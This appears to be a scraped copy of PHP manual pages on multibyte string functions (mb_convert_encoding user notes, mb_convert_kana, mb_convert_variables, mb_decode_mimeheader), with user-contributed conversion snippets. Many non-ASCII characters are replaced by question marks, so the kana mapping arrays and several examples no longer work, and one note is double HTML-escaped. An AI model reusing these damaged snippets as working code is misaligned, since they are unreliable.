To convert all non-ASCII characters into entities (to produce pure 7-bit HTML output), I was using:

<?php
echo mb_convert_encoding( htmlspecialchars( $text, ENT_QUOTES, 'UTF-8' ), 'HTML-ENTITIES', 'UTF-8' );
?>

I can get the identical result with:

<?php
echo mb_encode_numericentity( htmlentities( $text, ENT_QUOTES, 'UTF-8' ), [0x80, 0x10FFFF, 0, ~0], 'UTF-8' );
?>

The output contains well-known named entities for some often used characters and numeric entities for the rest.
bmxmale at qwerty dot re 15-Feb-2022 10:00
/**
 * Convert Windows-1250 to UTF-8
 * Based on https://www.php.net/manual/en/function.mb-convert-encoding.php#112547
 */
class TextConverter
{
    private const ENCODING_TO = 'UTF-8';
    private const ENCODING_FROM = 'ISO-8859-2';

    private array $mapChrChr = [
        0x8A => 0xA9,
        0x8C => 0xA6,
        0x8D => 0xAB,
        0x8E => 0xAE,
        0x8F => 0xAC,
        0x9C => 0xB6,
        0x9D => 0xBB,
        0xA1 => 0xB7,
        0xA5 => 0xA1,
        0xBC => 0xA5,
        0x9F => 0xBC,
        0xB9 => 0xB1,
        0x9A => 0xB9,
        0xBE => 0xB5,
        0x9E => 0xBE
    ];

    private array $mapChrString = [
        0x80 => '&euro;',
        0x82 => '&sbquo;',
        0x84 => '&bdquo;',
        0x85 => '&hellip;',
        0x86 => '&dagger;',
        0x87 => '&Dagger;',
        0x89 => '&permil;',
        0x8B => '&lsaquo;',
        0x91 => '&lsquo;',
        0x92 => '&rsquo;',
        0x93 => '&ldquo;',
        0x94 => '&rdquo;',
        0x95 => '&bull;',
        0x96 => '&ndash;',
        0x97 => '&mdash;',
        0x99 => '&trade;',
        0x9B => '&rsquo;',
        0xA6 => '&brvbar;',
        0xA9 => '&copy;',
        0xAB => '&laquo;',
        0xAE => '&reg;',
        0xB1 => '&plusmn;',
        0xB5 => '&micro;',
        0xB6 => '&para;',
        0xB7 => '&middot;',
        0xBB => '&raquo;'
    ];

    /**
     * @param $text
     * @return string
     */
    public function execute($text): string
    {
        $map = $this->prepareMap();

        return html_entity_decode(
            mb_convert_encoding(strtr($text, $map), self::ENCODING_TO, self::ENCODING_FROM),
            ENT_QUOTES,
            self::ENCODING_TO
        );
    }

    /**
     * @return array
     */
    private function prepareMap(): array
    {
        $maps[] = $this->arrayMapAssoc(function ($k, $v) {
            return [chr($k), chr($v)];
        }, $this->mapChrChr);

        $maps[] = $this->arrayMapAssoc(function ($k, $v) {
            return [chr($k), $v];
        }, $this->mapChrString);

        return array_merge([], ...$maps);
    }

    /**
     * @param callable $function
     * @param array $array
     * @return array
     */
    private function arrayMapAssoc(callable $function, array $array): array
    {
        return array_column(
            array_map(
                $function,
                array_keys($array),
                $array
            ),
            1,
            0
        );
    }
}
vasiliauskas dot agnius at gmail dot com 17-Jul-2018 08:16
When you need to convert from HTML-ENTITIES, but your UTF-8 string is partially broken (not all chars in UTF-8) - in this case passing string to mb_convert_encoding($string, 'UTF-8', 'HTML-ENTITIES'); - corrupts chars in string even more. In this case you need to replace html entities gradually to preserve character good encoding. I wrote such closure for this job :
<?php
$decode_entities = function($string) {
        preg_match_all("/&#?\w+;/", $string, $entities, PREG_SET_ORDER);
        $entities = array_unique(array_column($entities, 0));
        foreach ($entities as $entity) {
            $decoded = mb_convert_encoding($entity, 'UTF-8', 'HTML-ENTITIES');
            $string = str_replace($entity, $decoded, $string);
        }
        return $string;
    };
?>
nicole 28-Dec-2015 12:37
// convert UTF8 to DOS = CP850
//
// $utf8_text=UTF8-Formatted text;
// $dos=CP850-Formatted text;

// have fun

$dos = mb_convert_encoding($utf8_text, "CP850", mb_detect_encoding($utf8_text, "UTF-8, CP850, ISO-8859-15", true));
Daniel 17-Nov-2015 04:25
If you are attempting to convert "UTF-8" text to "ISO-8859-1" and the result is always returning in "ASCII", place the following line of code before the mb_convert_encoding:

mb_detect_order(array('UTF-8', 'ISO-8859-1'));

It is necessary to force a specific search order for the conversion to work
jackycms at outlook dot com 19-Jul-2014 02:48
// mb_convert_encoding($input,'UTF-8','windows-874');  error : Illegal character encoding specified
// so convert Thai to UTF-8 is better use iconv instead

<?php

iconv("windows-874","UTF-8",$input);

?>
DanielAbbey at Hotmail dot co dot uk 05-Mar-2014 04:30
When using the Windows Notepad text editor, it is important to note that when you select 'Save As' there is an Encoding selection dropdown. The default encoding is set to ANSI, with the other two options being Unicode and UTF-8. Since most text on the web is in UTF-8 format it could prove vital to save the .txt file with this encoding, since this function does not work on ANSI-encoded text.
josip at cubrad dot com 27-Jun-2013 11:24
For my last project I needed to convert several CSV files from Windows-1250 to UTF-8, and after several days of searching around I found a function that is partially solved my problem, but it still has not transformed all the characters. So I made ??this:

function w1250_to_utf8($text) {
    // map based on:
    // http://konfiguracja.c0.pl/iso02vscp1250en.html
    // http://konfiguracja.c0.pl/webpl/index_en.html#examp
    // http://www.htmlentities.com/html/entities/
    $map = array(
        chr(0x8A) => chr(0xA9),
        chr(0x8C) => chr(0xA6),
        chr(0x8D) => chr(0xAB),
        chr(0x8E) => chr(0xAE),
        chr(0x8F) => chr(0xAC),
        chr(0x9C) => chr(0xB6),
        chr(0x9D) => chr(0xBB),
        chr(0xA1) => chr(0xB7),
        chr(0xA5) => chr(0xA1),
        chr(0xBC) => chr(0xA5),
        chr(0x9F) => chr(0xBC),
        chr(0xB9) => chr(0xB1),
        chr(0x9A) => chr(0xB9),
        chr(0xBE) => chr(0xB5),
        chr(0x9E) => chr(0xBE),
        chr(0x80) => '&euro;',
        chr(0x82) => '&sbquo;',
        chr(0x84) => '&bdquo;',
        chr(0x85) => '&hellip;',
        chr(0x86) => '&dagger;',
        chr(0x87) => '&Dagger;',
        chr(0x89) => '&permil;',
        chr(0x8B) => '&lsaquo;',
        chr(0x91) => '&lsquo;',
        chr(0x92) => '&rsquo;',
        chr(0x93) => '&ldquo;',
        chr(0x94) => '&rdquo;',
        chr(0x95) => '&bull;',
        chr(0x96) => '&ndash;',
        chr(0x97) => '&mdash;',
        chr(0x99) => '&trade;',
        chr(0x9B) => '&rsquo;',
        chr(0xA6) => '&brvbar;',
        chr(0xA9) => '&copy;',
        chr(0xAB) => '&laquo;',
        chr(0xAE) => '&reg;',
        chr(0xB1) => '&plusmn;',
        chr(0xB5) => '&micro;',
        chr(0xB6) => '&para;',
        chr(0xB7) => '&middot;',
        chr(0xBB) => '&raquo;',
    );
    return html_entity_decode(mb_convert_encoding(strtr($text, $map), 'UTF-8', 'ISO-8859-2'), ENT_QUOTES, 'UTF-8');
}
urko at wegetit dot eu 11-Sep-2012 06:17
If you are trying to generate a CSV (with extended chars) to be opened at Exel for Mac, the only that worked for me was:
<?php mb_convert_encoding( $CSV, 'Windows-1252', 'UTF-8'); ?>

I also tried this:

<?php
//Separado OK, chars MAL
iconv('MACINTOSH', 'UTF8', $CSV);
//Separado MAL, chars OK
chr(255).chr(254).mb_convert_encoding( $CSV, 'UCS-2LE', 'UTF-8');
?>

But the first one didn't show extended chars correctly, and the second one, did't separe fields correctly
qdb at kukmara dot ru 07-Nov-2011 07:44
mb_substr and probably several other functions works faster in ucs-2 than in utf-8. and utf-16 works slower than utf-8. here is test, ucs-2 is near 50 times faster than utf-8, and utf-16 is near 6 times slower than utf-8 here:
<?php
header('Content-Type: text/html; CHARSET=gb2312');
mb_internal_encoding('utf-8');

$s='укгез??ш?хз?х?шк2049??лдябчсячмииюсит.июб?рарэ'
.'лдэфв??у?й?уй??у034928348539857?шаыдларораш??рлоавы';
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;

$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo$a.'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

echo'<br>';
$s=mb_convert_encoding($s,'UCS-2','utf8');
mb_internal_encoding('UCS-2');
$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo mb_convert_encoding($a,'utf8','ucs2').'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

echo'<br>';
$s=mb_convert_encoding($s,'utf-16','ucs-2');
mb_internal_encoding('utf-16');
$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo mb_convert_encoding($a,'utf8','utf-16').'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

?>
output:
?х. 12416. 1.71738100052
?х. 12416. 0.0211279392242
?х. 12416. 11.2330229282
gullevek at gullevek dot org 25-Aug-2010 12:27
If you want to convert japanese to ISO-2022-JP it is highly recommended to use ISO-2022-JP-MS as the target encoding instead. This includes the extended character set and avoids ? in the text. For example the often used "1 in a circle" ① will be correctly converted then.
regrunge at hotmail dot it 14-May-2010 08:00
I've been trying to find the charset of a norwegian (with a lot of ?, ?, ?) txt file written on a Mac, i've found it in this way:

<?php
$text = "A strange string to pass, maybe with some ?, ?, ? characters.";

foreach(mb_list_encodings() as $chr){
        echo mb_convert_encoding($text, 'UTF-8', $chr)." : ".$chr."<br>";
 }
?>

The line that looks good, gives you the encoding it was written in.

Hope can help someone
Daniel Trebbien 23-Jul-2009 11:25
Note that `mb_convert_encoding($val, 'HTML-ENTITIES')` does not escape '\'', '"', '<', '>', or '&'.
me at gsnedders dot com 18-Jun-2009 03:06
It appears that when dealing with an unknown "from encoding" the function will both throw an E_WARNING and proceed to convert the string from ISO-8859-1 to the "to encoding".
chzhang at gmail dot com 05-Jan-2009 12:34
instead of ini_set(), you can try this

mb_substitute_character("none");
francois at bonzon point com 10-Nov-2008 05:05
aaron, to discard unsupported characters instead of printing a ?, you might as well simply set the configuration directive:

mbstring.substitute_character = "none"

in your php.ini. Be sure to include the quotes around none. Or at run-time with

<?php
ini_set('mbstring.substitute_character', "none");
?>
aaron at aarongough dot com 07-Nov-2008 08:24
My solution below was slightly incorrect, so here is the correct version (I posted at the end of a long day, never a good idea!)

Again, this is a quick and dirty solution to stop mb_convert_encoding from filling your string with question marks whenever it encounters an illegal character for the target encoding.

<?php
function convert_to ( $source, $target_encoding )
    {
    // detect the character encoding of the incoming file
    $encoding = mb_detect_encoding( $source, "auto" );

    // escape all of the question marks so we can remove artifacts from
    // the unicode conversion process
    $target = str_replace( "?", "[question_mark]", $source );

    // convert the string to the target encoding
    $target = mb_convert_encoding( $target, $target_encoding, $encoding);

    // remove any question marks that have been introduced because of illegal characters
    $target = str_replace( "?", "", $target );

    // replace the token string "[question_mark]" with the symbol "?"
    $target = str_replace( "[question_mark]", "?", $target );

    return $target;
    }
?>

Hope this helps someone! (Admins should feel free to delete my previous, incorrect, post for clarity)
-A
Edward 16-Sep-2008 03:54
If mb_convert_encoding doesn't work for you, and iconv gives you a headache, you might be interested in this free class I found. It can convert almost any charset to almost any other charset. I think it's wonderful and I wish I had found it earlier. It would have saved me tons of headache.

I use it as a fail-safe, in case mb_convert_encoding is not installed. Download it from http://mikolajj.republika.pl/

This is not my own library, so technically it's not spamming, right? ;)

Hope this helps.
StigC 13-Aug-2008 03:38
For the php-noobs (like me) - working with flash and php.

Here's a simple snippet of code that worked great for me, getting php to show special Danish characters, from a Flash email form:

<?php
// Name Escape
$escName = mb_convert_encoding($_POST["Name"], "ISO-8859-1", "UTF-8");

// message escape
$escMessage = mb_convert_encoding($_POST["Message"], "ISO-8859-1", "UTF-8");

// Headers.. and so on...
?>
nospam at nihonbunka dot com 15-May-2008 06:51
rodrigo at bb2 dot co dot jp wrote that inconv works better than mb_convert_encoding, I find that when converting from uft8 to shift_jis
$conv_str = mb_convert_encoding($str,$toCS,$fromCS);
works while
$conv_str = iconv($fromCS,$toCS.'//IGNORE',$str);
removes tildes from $str.
katzlbtjunk at hotmail dot com 25-Jan-2008 04:36
Clean a string for use as filename by simply replacing all unwanted characters with underscore (ASCII converts to 7bit). It removes slightly more chars than necessary. Hope its useful.

$fileName = 'Test:!"$%&/()=??ü??ü<<';
echo strtr(mb_convert_encoding($fileName,'ASCII'),
    ' ,;:?*#!§$%&/(){}<>=`′|\\\'"',
    '____________________________');
rodrigo at bb2 dot co dot jp 15-Jan-2008 03:47
For those who can′t use mb_convert_encoding() to convert from one charset to another as a metter of lower version of php, try iconv().

I had this problem converting to japanese charset:

$txt=mb_convert_encoding($txt,'SJIS',$this->encode);

And I could fix it by using this:

$txt = iconv('UTF-8', 'SJIS', $txt);

Maybe it′s helpfull for someone else! ;)
mightye at gmail dot com 13-Nov-2007 09:24
To petruzanauticoyahoo?com!ar

If you don't specify a source encoding, then it assumes the internal (default) encoding.  ? is a multi-byte character whose bytes in your configuration default (often iso-8859-1) would actually mean ?±.  mb_convert_encoding() is upgrading those characters to their multi-byte equivalents within UTF-8.

Try this instead:
<?php
print mb_convert_encoding( "?", "UTF-8", "UTF-8" );
?>
Of course this function does no work (for the most part - it can actually be used to strip characters which are not valid for UTF-8).
volker at machon dot biz 24-Sep-2007 09:05
Hey guys. For everybody who's looking for a function that is converting an iso-string to utf8 or an utf8-string to iso, here's your solution:

public function encodeToUtf8($string) {
     return mb_convert_encoding($string, "UTF-8", mb_detect_encoding($string, "UTF-8, ISO-8859-1, ISO-8859-15", true));
}

public function encodeToIso($string) {
     return mb_convert_encoding($string, "ISO-8859-1", mb_detect_encoding($string, "UTF-8, ISO-8859-1, ISO-8859-15", true));
}

For me these functions are working fine. Give it a try
aofg 21-Aug-2007 06:49
When converting Japanese strings to ISO-2022-JP or JIS on PHP >= 5.2.1, you can use "ISO-2022-JP-MS" instead of them.
Kishu-Izon (platform dependent) characters are converted correctly with the encoding, as same as with eucJP-win or with SJIS-win.
David Hull 20-Dec-2006 10:52
As an alternative to Johannes's suggestion for converting strings from other character sets to a 7bit representation while not just deleting latin diacritics, you might try this:

<?php
$text = iconv($from_enc, 'US-ASCII//TRANSLIT', $text);
?>

The only disadvantage is that it does not convert "?" to "ae", but it handles punctuation and other special characters better.
--
David
phpdoc at jeudi dot de 05-Sep-2006 06:46
I\&#039;d like to share some code to convert latin diacritics to their
traditional 7bit representation, like, for example,

- &agrave;,&ccedil;,&eacute;,&icirc;,... to a,c,e,i,...
- &szlig; to ss
- &auml;,&Auml;,... to ae,Ae,...
- &euml;,... to e,...

(mb_convert \&quot;7bit\&quot; would simply delete any offending characters).

I might have missed on your country\&#039;s typographic
conventions--correct me then.
&lt;?php
/**
 * @args string $text line of encoded text
 *       string $from_enc (encoding type of $text, e.g. UTF-8, ISO-8859-1)
 *
 * @returns 7bit representation
 */
function to7bit($text,$from_enc) {
    $text = mb_convert_encoding($text,\&#039;HTML-ENTITIES\&#039;,$from_enc);
    $text = preg_replace(
        array(\&#039;/&szlig;/\&#039;,\&#039;/&amp;(..)lig;/\&#039;,
             \&#039;/&amp;([aouAOU])uml;/\&#039;,\&#039;/&amp;(.)[^;]*;/\&#039;),
        array(\&#039;ss\&#039;,\&quot;$1\&quot;,\&quot;$1\&quot;.\&#039;e\&#039;,\&quot;$1\&quot;),
        $text);
    return $text;
}
?&gt;

Enjoy :-)
Johannes

==
[EDIT BY danbrown AT php DOT net: Author provided the following update on 27-FEB-2012.]
==

An addendum to my &quot;to7bit&quot; function referenced below in the notes.
The function is supposed to solve the problem that some languages require a different 7bit rendering of special (umlauted) characters for sorting or other applications. For example, the German &szlig; ligature is usually written &quot;ss&quot; in 7bit context. Dutch &yuml; is typically rendered &quot;ij&quot; (not &quot;y&quot;).

The original function works well with word (alphabet) character entities and I&#039;ve seen it used in many places. But non-word entities cause funny results:
E.g., &quot;&copy;&quot; is rendered as &quot;c&quot;, &quot;&shy;&quot; as &quot;s&quot; and &quot;&amp;rquo;&quot; as &quot;r&quot;.
The following version fixes this by converting non-alphanumeric characters (also chains thereof) to &#039;_&#039;.

&lt;?php
/**
 * @args string $text line of encoded text
 *       string $from_enc (encoding type of $text, e.g. UTF-8, ISO-8859-1)
 *
 * @returns 7bit representation
 */
function to7bit($text,$from_enc) {
    $text = preg_replace(/W+/,&#039;_&#039;,$text);
    $text = mb_convert_encoding($text,&#039;HTML-ENTITIES&#039;,$from_enc);
    $text = preg_replace(
        array(&#039;/&szlig;/&#039;,&#039;/&amp;(..)lig;/&#039;,
             &#039;/&amp;([aouAOU])uml;/&#039;,&#039;/&yuml;/&#039;,&#039;/&amp;(.)[^;]*;/&#039;),
        array(&#039;ss&#039;,&quot;$1&quot;,&quot;$1&quot;.&#039;e&#039;,&#039;ij&#039;,&quot;$1&quot;),
        $text);
    return $text;
}
?&gt;

Enjoy again,
Johannes
mac.com@nemo 08-Jul-2006 07:38
For those wanting to convert from $set to MacRoman, use iconv():

<?php

$string = iconv('UTF-8', 'macintosh', $string);

?>

('macintosh' is the IANA name for the MacRoman character set.)
eion at bigfoot dot com 20-Feb-2006 04:54
many people below talk about using
<?php
    mb_convert_encode($s,'HTML-ENTITIES','UTF-8');
?>
to convert non-ascii code into html-readable stuff.  Due to my webserver being out of my control, I was unable to set the database character set, and whenever PHP made a copy of my $s variable that it had pulled out of the database, it would convert it to nasty latin1 automatically and not leave it in it's beautiful UTF-8 glory.

So [insert korean characters here] turned into ?????.

I found myself needing to pass by reference (which of course is deprecated/nonexistent in recent versions of PHP)
so instead of
<?php
    mb_convert_encode(&$s,'HTML-ENTITIES','UTF-8');
?>
which worked perfectly until I upgraded, so I had to use
<?php
    call_user_func_array('mb_convert_encoding', array(&$s,'HTML-ENTITIES','UTF-8'));
?>

Hope it helps someone else out
Tom Class 11-Nov-2005 07:35
Why did you use the php html encode functions? mbstring has it's own Encoding which is (as far as I tested it) much more usefull:

HTML-ENTITIES

Example:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
Stephan van der Feest 09-Sep-2005 04:47
To add to the Flash conversion comment below, here's how I convert back from what I've stored in a database after converting from Flash HTML text field output, in order to load it back into a Flash HTML text field:

function htmltoflash($htmlstr)
{
  return str_replace("&lt;br /&gt;","\n",
    str_replace("<","&lt;",
      str_replace(">","&gt;",
        mb_convert_encoding(html_entity_decode($htmlstr),
        "UTF-8","ISO-8859-1"))));
}
Stephan van der Feest 09-Sep-2005 03:50
Here's a tip for anyone using Flash and PHP for storing HTML output submitted from a Flash text field in a database or whatever.

Flash submits its HTML special characters in UTF-8, so you can use the following function to convert those into HTML entity characters:

function utf8html($utf8str)
{
  return htmlentities(mb_convert_encoding($utf8str,"ISO-8859-1","UTF-8"));
}
jamespilcher1 - hotmail 01-Feb-2004 07:55
be careful when converting from iso-8859-1 to utf-8.

even if you explicitly specify the character encoding of a page as iso-8859-1(via headers and strict xml defs), windows 2000 will ignore that and interpret it as whatever character set it has natively installed.

for example, i wrote char #128 into a page, with char encoding iso-8859-1, and it displayed in internet explorer (& mozilla) as a euro symbol.

it should have displayed a box, denoting that char #128 is undefined in iso-8859-1. The problem was it was displaying in "Windows: western europe" (my native character set).

this led to confusion when i tried to convert this euro to UTF-8 via mb_convert_encoding()

IE displays UTF-8 correctly- and because PHP correctly converted #128 into a box in UTF-8, IE would show a box.

so all i saw was mb_convert_encoding() converting a euro symbol into a box. It took me a long time to figure out what was going on.
lanka at eurocom dot od dot ua 07-Feb-2003 08:03
Another sample of recoding without MultiByte enabling.
(Russian koi->win, if input in win-encoding already, function recode() returns unchanged string)

<?php
  // 0 - win
  // 1 - koi
  function detect_encoding($str) {
    $win = 0;
    $koi = 0;

    for($i=0; $i<strlen($str); $i++) {
      if( ord($str[$i]) >224 && ord($str[$i]) < 255) $win++;
      if( ord($str[$i]) >192 && ord($str[$i]) < 223) $koi++;
    }

    if( $win < $koi ) {
      return 1;
    } else return 0;

  }

  // recodes koi to win
  function koi_to_win($string) {

    $kw = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 254, 224, 225, 246, 228, 229, 244, 227, 245, 232, 233, 234, 235, 236, 237, 238, 239, 255, 240, 241, 242, 243, 230, 226, 252, 251, 231, 248, 253, 249, 247, 250, 222, 192, 193, 214, 196, 197, 212, 195, 213, 200, 201, 202, 203, 204, 205, 206, 207, 223, 208, 209, 210, 211, 198, 194, 220, 219, 199, 216, 221, 217, 215, 218);
    $wk = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 225, 226, 247, 231, 228, 229, 246, 250, 233, 234, 235, 236, 237, 238, 239, 240, 242,  243, 244, 245, 230, 232, 227, 254, 251, 253, 255, 249, 248, 252, 224, 241, 193, 194, 215, 199, 196, 197, 214, 218, 201, 202, 203, 204, 205, 206, 207, 208, 210, 211, 212, 213, 198, 200, 195, 222, 219, 221, 223, 217, 216, 220, 192, 209);

    $end = strlen($string);
    $pos = 0;
    do {
      $c = ord($string[$pos]);
      if ($c>128) {
        $string[$pos] = chr($kw[$c-128]);
      }

    } while (++$pos < $end);

    return $string;
  }

  function recode($str) {

    $enc = detect_encoding($str);
    if ($enc==1) {
      $str = koi_to_win($str);
    }

    return $str;
  }
?>


Convert "kana" one from another ("zen-kaku", "han-kaku" and more)

  • ? mb_convert_encoding
  • mb_convert_variables ?
  • PHP Manual
  • 多字节字符串 函数
  • Convert "kana" one from another ("zen-kaku", "han-kaku" and more)

mb_convert_kana

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_convert_kana — Convert "kana" one from another ("zen-kaku", "han-kaku" and more)

说明

mb_convert_kana(string $string, string $mode = "KV", ?string $encoding = null): string

Performs a "han-kaku" - "zen-kaku" conversion for string string. This function is only useful for Japanese.

参数

string

The string being converted.

mode

The conversion option.

Specify with a combination of following options.

Applicable Conversion Options
Option | Meaning
r | Convert "zen-kaku" alphabets to "han-kaku"
R | Convert "han-kaku" alphabets to "zen-kaku"
n | Convert "zen-kaku" numbers to "han-kaku"
N | Convert "han-kaku" numbers to "zen-kaku"
a | Convert "zen-kaku" alphabets and numbers to "han-kaku"
A | Convert "han-kaku" alphabets and numbers to "zen-kaku" (Characters included in "a", "A" options are U+0021 - U+007E excluding U+0022, U+0027, U+005C, U+007E)
s | Convert "zen-kaku" space to "han-kaku" (U+3000 -> U+0020)
S | Convert "han-kaku" space to "zen-kaku" (U+0020 -> U+3000)
k | Convert "zen-kaku kata-kana" to "han-kaku kata-kana"
K | Convert "han-kaku kata-kana" to "zen-kaku kata-kana"
h | Convert "zen-kaku hira-gana" to "han-kaku kata-kana"
H | Convert "han-kaku kata-kana" to "zen-kaku hira-gana"
c | Convert "zen-kaku kata-kana" to "zen-kaku hira-gana"
C | Convert "zen-kaku hira-gana" to "zen-kaku kata-kana"
V | Collapse voiced sound notation and convert them into a character. Use with "K","H"

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

The converted string.

错误／异常

Throws a ValueError if the combination of different modes is invalid. For example "sS".

更新日志

版本 | 说明
8.2.0 | A ValueError is now thrown if the combination of different modes is invalid.
8.0.0 | 现在 encoding 可以为 null。

示例

Example #1 mb_convert_kana() example

<?php
/* Convert all "kana" to "zen-kaku" "kata-kana" */
$str = mb_convert_kana($str, "KVC");

/* Convert "han-kaku" "kata-kana" to "zen-kaku" "kata-kana"
and "zen-kaku" alphanumeric to "han-kaku" */
$str = mb_convert_kana($str, "KVa");
?>

User Contributed Notes

jdavide222 at hotmail dot com 11-Mar-2013 04:02
to make this function work you have to add following two lines above this function.

mb_language("Ja");
mb_internal_encoding("utf-8");

mb_convert_kana($_POST['something_value'], "rna");
sohel62 at yahoo dot com 18-Feb-2008 09:17
I did that manually when I was not getting  expected result using mb_convert_kana().
<?php
 /*
 * @author Taslim Mazumder Sohel
 * @deprecated 1.0 - 2008/02/19
 *
 */
function han_kaku_to_jen_kaku($str){
        $replace_of = array('??','??','??','??',
                            '??','??','??','??',
                            '??','??','??','??',
                            '??','??','??','??',
                            '??','??','??','??',
                            '??','??','??','??','??','??');
        $replace_by = array('ヴ','ガ','ギ','グ',
                            'ゲ','ゴ','ザ','ジ',
                            'ズ','ゼ','ゾ','ダ',
                            'ヂ','ヅ','デ','ド',
                            'バ','ビ','ブ','ベ',
                            'ボ','パ','ピ','プ','ペ','ポ');
        $_result = str_replace($replace_of, $replace_by, $str);

        $replace_of = array('?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','ヵ','ヶ','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?');
        $replace_by = array('ア','イ','ウ','エ','オ',
                            'カ','キ','ク','ケ','コ',
                            'サ','シ','ス','セ','ソ',
                            'タ','チ','ツ','テ','ト',
                            'ナ','ニ','ヌ','ネ','ノ',
                            'ハ','ヒ','フ','ヘ','ホ',
                            'マ','ミ','ム','メ','モ',
                            'ヤ','ユ','ヨ','ラ','リ',
                            'ル','レ','ロ','ワ','ヲ',
                            'ン','ァ','ィ','ゥ','ェ',
                            'ォ','ヶ','ヶ','ャ','ュ',
                            'ョ','ッ','、','。','ー',
                            '「','」','"','');
        $_result = str_replace($replace_of, $replace_by, $_result);
        return $_result;
    }
?>
d at safetypub dot org 01-Apr-2005 03:00
I didn't find Japanese sorting function.
(mb_sort_kana or something)
Only SJIS encoding treats hankaku kata kana,
 I can't post here copy & paste version script.
I'm sorry...
You will replace comments with appropriate japanese string,
and write exception handlings between lines as you like.

<?php
mb_internal_encoding("SJIS");

$moji = /*"aiueo...wawon -?.," <- serialized hankaku kata kana 50 on hyou goes here*/;
$moji .= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxwz0123456789";

for($i = 0; isset($moji[$i]); $i++){
    $pittan[$moji[$i]] = $i;
}

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return iter(mb_convert_kana($a, "askh") ,mb_convert_kana($b, "askh"), 0);
}

function iter($a, $b, $i){
    global $pittan;
    if(!isset($a[$i]) || !isset($b[$i])){
        return (isset($b[$i]))? -1 : 1;
    }
    if ($pittan[$a[$i]] == $pittan[$b[$i]]){
        return iter($a, $b, ++$i);
    }
    return (($pittan[$a[$i]]) < ($pittan[$b[$i]]))? -1 : 1;
}

echo "<pre>";
$arr = array(/*some japanese array here*/);
usort($arr, "cmp");
var_dump($arr);
?>
dn at littlealf dot net 23-Jul-2003 09:33
It seems that mb_convert_kana() doesn't convert symbols such as ' (single quoatation). It affected my program when I insert data into database.

So, I've found 2 ways to solve this.
1) Use Javascript to convert those non-supported symbols before sending query string to your php page.
2) Use php function, str_replace $str, to replace those non-supported symbols. For example, $str = str_replace("'", "?", $str);
where the first single quot is half-width(han kaku), and the second one is full-width(zen kaku).


转换一个或多个变量的字符编码

  • ? mb_convert_kana
  • mb_decode_mimeheader ?
  • PHP Manual
  • 多字节字符串 函数
  • 转换一个或多个变量的字符编码

mb_convert_variables

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_convert_variables — 转换一个或多个变量的字符编码

说明

mb_convert_variables(
string $to_encoding,
array|string $from_encoding,
mixed &$var,
mixed &...$vars
): string|false

将变量 var 和 vars 的编码从 from_encoding 转换成编码 to_encoding。

mb_convert_variables() 会拼接变量数组或对象中的字符串来检测编码，因为短字符串的检测往往会失败。因此，不能在一个数组或对象中混合使用编码。

参数

to_encoding

将 string 转换成这个编码。

from_encoding

from_encoding 可以指定为一个 array 或者逗号分隔的 string，它将尝试根据 from-coding 来检测编码。 当省略了 from_encoding，将使用 detect_order。

var

var 是要转换的变量的引用。 参数可以接受 String、Array 和 Object 的类型。 mb_convert_variables() 假设所有的参数都具有同样的编码。

vars

额外的 var。

返回值

成功时返回转换前的字符编码，失败时返回 false。

示例

Example #1 mb_convert_variables() 示例

<?php
/* 转换变量 $post1、$post2 编码为内部（internal）编码 */
$interenc = mb_internal_encoding();
$inputenc = mb_convert_variables($interenc, "ASCII,UTF-8,SJIS-win", $post1, $post2);
?>

User Contributed Notes

There are no user contributed notes for this page.


解码 MIME 头字段中的字符串

  • ? mb_convert_variables
  • mb_decode_numericentity ?
  • PHP Manual
  • 多字节字符串 函数
  • 解码 MIME 头字段中的字符串

mb_decode_mimeheader

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_decode_mimeheader — 解码 MIME 头字段中的字符串

说明

mb_decode_mimeheader(string $string): string

解码 MIME 头中编码过的 string string。

参数

string

要解码的 string。

返回值

以内部（internal）字符编码解码的 string。

参见

  • mb_encode_mimeheader() - 为 MIME 头编码字符串

User Contributed Notes

hgs at cs dot columbia dot edu 30-Jun-2021 06:21
In Q encoding mode, RFC 2047 encodes spaces as _ (Section 4.2).

mb_decode_mimeheader()

does not appear to do this. Thus, to avoid names or subjects with underscores, one needs to apply strtr() or similar function to the input string.

On the other hand, lower-case strings do now work correctly.
Brett 27-Feb-2012 03:35
See also the following functions which may work better in some cases:
iconv_mime_decode() - http://php.net/manual/function.iconv-mime-decode.php
imap_utf8() - http://php.net/manual/function.imap-utf8.php
tomlove at gmail dot com 09-Mar-2010 10:03
